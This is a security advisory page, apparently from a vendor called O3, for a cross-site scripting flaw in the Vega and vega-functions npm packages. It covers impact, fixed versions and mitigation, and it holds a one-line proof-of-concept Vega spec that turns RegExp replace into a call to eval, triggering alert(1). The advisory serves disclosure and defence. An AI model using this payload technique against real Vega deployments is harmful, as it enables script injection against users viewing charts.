GHSA-963h-3v39-3pqf
Vega vulnerable to Cross-site Scripting via RegExp.prototype[@@replace]
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
vega📦vega-functionsReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.
Description
Impact
Users running Vega/Vega-lite JSON definitions could run unexpected JavaScript code when drawing graphs, unless the library is used with the vega-interpreter.
Workarounds
- Use
vegawith expression interpreter - Upgrade to a newer Vega version (
5.32.0)
POC Summary
Calling replace with a RegExp-like pattern calls RegExp.prototype[@@replace], which can then call an attacker-controlled exec function.
POC Details
Consider the function call replace('foo', {__proto__: /h/.constructor.prototype, global: false}). Since pattern has RegExp.prototype[@@replace], pattern.exec('foo') winds up being called.
The resulting malicious call looks like this:
replace(<string argument>, {__proto__: /h/.constructor.prototype, exec: <function>, global: false})
Since functions cannot be returned from this, an attacker that wishes to escalate to XSS must abuse event.view to gain access to eval.
Reproduction steps
{"$schema":"https://vega.github.io/schema/vega/v5.json","signals":[{"name":"a","on":[{"events":"body:mousemove{99999}","update":"replace('alert(1)',{__proto__:/h/.constructor.prototype,exec:event.view.eval,global:false})"}]}]}
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | vega | all versions | 5.32.0 |
| 📦npm | vega-functions | all versions | 5.17.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vega. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update vega to 5.32.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-963h-3v39-3pqf is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-963h-3v39-3pqf is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-963h-3v39-3pqf. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-963h-3v39-3pqf in your dependencies?
O3 detects GHSA-963h-3v39-3pqf across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.